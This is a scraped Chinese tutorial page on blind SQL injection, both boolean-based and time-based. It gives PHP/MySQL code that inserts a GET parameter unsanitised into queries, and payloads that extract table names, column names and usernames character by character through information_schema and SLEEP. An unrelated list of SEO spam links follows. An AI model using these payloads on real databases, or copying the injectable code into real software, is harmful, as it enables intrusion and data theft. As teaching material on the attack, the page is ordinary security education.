当前位置: 首页 > wzjs >正文

专业的外贸网站建设公司价格全国新冠疫苗接种率

专业的外贸网站建设公司价格,全国新冠疫苗接种率,国内最先做弹幕的网站,旅游景点网站建设毕业设计说明一、布尔盲注 布尔盲注是通过观察应用程序的响应&#xff08;如HTTP 状态码等&#xff09;来判断查询条件是否为真。 1.进行数据库配置连接 <?php // 数据库连接配置 $host localhost; $dbname testdb; $user root; $password password;//创建数据库连接 $conn new …

一、布尔盲注 布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';//创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);//检查连接 
if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";$result = $conn->query($query);
3.返回查询结果
if ($result->num_rows > 0) {echo "Query is TRUE (数据存在)";
} else {echo "Query is FALSE (数据不存在)";
}// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 id 参数,一点点推断数据库信息

获取表名

sqlid=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'

获取列名

sqlid=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'

获取数据

sqlid=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二、时间盲注 时间盲注是通过在 SQL 查询中插入时间延迟函数(如 SLEEP()),根据数据库响应时间来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';//创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);//检查连接 
if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// 获取用户输入的参数
$id = $_GET['id'];
2.构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
if ($query_time > 5) {echo "Query is TRUE (延迟 5 秒)";
} else {echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 id 参数,逐步推断数据库信息

获取表名

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)

获取列名

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)

获取数据

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三、获取表、列、具体数据的函数

1.获取表名

sqlid=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

2.获取列名

sqlid=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117

3.获取数据

sqlid=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97
http://www.dtcms.com/wzjs/291855.html

相关文章:

  • 网站建设咨询电话如何做好网络推广工作
  • 平顶山股票配资网站建设营销策划
  • 重庆勘察设计网seo岗位是什么意思
  • 开源的网站后台程序seo3的空间构型
  • 网站建设课本优化营商环境指什么
  • 电脑上wap网站抖音seo查询工具
  • 丹阳网站建设报价营销案例分享
  • 谁有做网站的朋友的V信微信小程序开发多少钱
  • 直播源码好口碑关键词优化
  • 没有网站备案可以做诚信认证嘛重庆网站页面优化
  • 南充市住房和城乡建设局考试网站google seo
  • 找人做网站被骗了属于诈骗吗国外搜索引擎大全
  • 珠海十大网站建设公司网址搜索引擎入口
  • 没有域名可以做网站吗石家庄最新新闻事件
  • 网站竞价怎么做汽车网络营销策划方案
  • 圣诞网站源码湖南网站制作公司
  • 海口网站建设兼职制作网页的流程
  • 商城网站建设网络公司网站制作公司高端
  • 一般网站有哪几部分构成seo免费系统
  • 档案局网站的建设网络优化软件有哪些
  • 学做ps的软件的网站seo教程优化
  • 用电脑做网站的历史在哪里找百度一下首页网址
  • 网站建设文化咨询宁波seo快速优化课程
  • wordpress漂亮轮播代码厦门seo培训
  • 青海省住房和城乡建设厅网站首页网站模板哪家好
  • wordpress 前台打不开百度关键词优化手段
  • 视频网站亏钱为什么还要继续做站长统计app软件下载2021
  • 提供盐城网站开发谷歌手机网页版入口
  • 万年历网站做广州seo优化排名推广
  • 后台管理网站建设什么推广平台好